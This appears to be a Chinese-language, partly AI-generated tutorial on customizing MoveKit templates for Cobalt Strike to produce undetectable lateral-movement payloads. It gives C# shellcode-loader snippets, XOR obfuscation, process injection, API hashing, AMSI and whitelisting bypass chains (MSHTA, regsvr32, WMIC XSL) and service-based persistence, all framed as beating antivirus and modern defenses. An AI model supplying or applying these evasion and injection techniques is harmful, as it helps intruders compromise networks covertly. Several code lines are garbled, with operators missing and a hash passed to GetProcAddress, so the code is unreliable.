MoveKit模板自定义教程:打造专属无特征横向移动载荷
MoveKit模板自定义教程打造专属无特征横向移动载荷【免费下载链接】MoveKitCobalt Strike kit for Lateral Movement项目地址: https://gitcode.com/gh_mirrors/mo/MoveKitMoveKit是一款专为Cobalt Strike设计的横向移动工具包通过自定义模板生成无特征载荷帮助安全测试人员在复杂网络环境中实现隐蔽的横向渗透。本文将详细介绍如何通过模板自定义功能打造完全符合需求的专属载荷提升横向移动的成功率与隐蔽性。一、模板自定义基础了解MoveKit的模板架构MoveKit的模板系统位于项目的Templates/目录下提供了多种预定义的载荷模板包括C#源代码、HTA脚本、XSL样式表等。这些模板通过特定标记如$$PAYLOAD$$实现与Cobalt Strike的动态交互核心原理是将生成的shellcode替换模板中的占位符再通过编译器生成可执行文件或脚本。主要模板类型及用途C#类模板如custom-nonpre.cs、installutil.cs用于生成C#可执行程序支持直接内存执行脚本类模板如mshta.hta、wscript.vbs利用系统原生脚本解释器执行项目文件模板如msbuild.csproj通过MSBuild等合法工具链执行二、快速上手3步完成基础模板自定义2.1 准备工作环境与工具要求在开始自定义前请确保已满足以下条件安装Mono编译器mcs用于编译C#模板项目依赖见MoveKit.cna第8-9行熟悉Cobalt Strike的监听器配置支持stageless/staged payload生成掌握基础的C#/VBS/HTA等脚本语言知识2.2 核心步骤从模板到可用载荷步骤1选择并分析目标模板以最常用的custom-nonpre.cs模板为例路径Templates/custom-nonpre.cs该模板实现了基础的shellcode加载功能。关键代码如下string strShellCode ($$PAYLOAD$$); byte[] shellcode Convert.FromBase64String(strShellCode); UInt32 funcAddr VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);模板中的$$PAYLOAD$$是核心占位符MoveKit会自动将其替换为base64编码的shellcode见MoveKit.cna第317行base64编码逻辑。步骤2定制化修改模板内容根据实际需求修改模板常见优化方向内存分配方式将VirtualAlloc替换为更隐蔽的VirtualAllocExWriteProcessMemory远程线程注入编码方式增加XOR或AES加密逻辑对抗静态查杀需同步修改MoveKit.cna中的shellcode处理代码进程伪装添加CreateProcess启动合法进程如svchost.exe后注入示例修改增加简单异或解密byte[] key { 0x12, 0x34, 0x56, 0x78 }; // 自定义密钥 for (int i 0; i shellcode.Length; i) { shellcode[i] ^ key[i % key.Length]; }步骤3配置与生成载荷在Cobalt Strike中加载MoveKitMoveKit.cna打开模板生成界面Move File Custom (Non-Prebuilt)对应moveDialogs::custom_nonprebuilt函数配置关键参数Listener选择已配置的监听器Template选择修改后的custom-nonpre.csOutput Format选择base64与模板解码方式匹配Architecture根据目标系统选择x86/x64生成过程中MoveKit会自动完成shellcode生成artifact_payload函数MoveKit.cna第312行模板替换与编译compilepl函数MoveKit.cna第211行载荷传输与执行filewrite函数MoveKit.cna第944行三、高级技巧打造无特征载荷的5个关键策略3.1 内存保护避免 PAGE_EXECUTE_READWRITE 特征默认模板使用PAGE_EXECUTE_READWRITE内存页属性custom-nonpre.cs第31行这是典型的恶意代码特征。优化方案使用PAGE_READWRITE分配内存写入shellcode后调用VirtualProtect修改为PAGE_EXECUTE修改代码UInt32 funcAddr VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_READWRITE); // 写入shellcode... UInt32 oldProtect; VirtualProtect((IntPtr)funcAddr, (UInt32)shellcode.Length, PAGE_EXECUTE, ref oldProtect);3.2 模板混淆对抗静态分析对模板进行结构性混淆建议代码流程打乱添加无关逻辑如随机循环、无用计算字符串加密将API函数名如CreateThread加密存储运行时解密控制流平坦化使用switch-case替代if-else结构3.3 多模板组合实现链式执行结合不同类型模板构建攻击链例如使用mshta.hta模板下载并执行加载regsvr32.sct模板实现持久化通过wmic.xsl模板绕过应用白名单配置示例MoveKit.cna菜单路径Move Command MSHTA→ 调用moveDialogs::mshta_cmd函数3.4 动态配置利用全局变量自定义行为MoveKit提供全局配置功能%moveKit::movedefaults变量MoveKit.cna第104-117行可通过Set/Update Defaults菜单修改droplocation设置载荷落地路径默认C:\Windows\Tempshellcodeformat选择shellcode编码格式支持raw/base64/hex等amsi启用AMSI绕过需模板支持3.5 免杀优化关键API哈希调用替换直接API调用为哈希解析避免导入表特征// 计算kernel32.dll中CreateThread的哈希 uint hash 0; string api CreateThread; foreach (char c in api) hash (hash 5) hash c; // 通过GetProcAddress获取函数地址 IntPtr hModule LoadLibrary(kernel32.dll); IntPtr func GetProcAddress(hModule, hash);四、常见问题与解决方案Q1模板编译失败怎么办A检查Mono环境是否正确安装which mcs命令验证C#代码是否存在语法错误可单独使用mcs命令测试编译模板中是否保留了$$PAYLOAD$$占位符Q2生成的载荷被AV拦截A尝试更换模板类型如从C#改为VBS脚本增加内存加密/混淆逻辑修改载荷落地路径避免Temp目录Q3如何实现载荷持久化A使用Templates/service-custom-nonpre.cs模板结合// 创建系统服务 sc create MyService binPath C:\path\to\payload.exe start auto五、总结与扩展通过MoveKit的模板自定义功能安全测试人员可以快速生成高度定制化的横向移动载荷。关键在于理解模板结构Templates/目录、掌握shellcode注入技术custom-nonpre.cs示例并结合免杀策略不断优化。进阶学习建议研究Assemblies/目录下的C#组件如FileWrite.cs文件写入功能分析moveKit::compilepl函数MoveKit.cna第211行的编译流程尝试开发新模板类型如PowerShell脚本、.NET DLL掌握这些技能后你将能够构建几乎无特征的横向移动载荷有效突破现代防御体系。【免费下载链接】MoveKitCobalt Strike kit for Lateral Movement项目地址: https://gitcode.com/gh_mirrors/mo/MoveKit创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考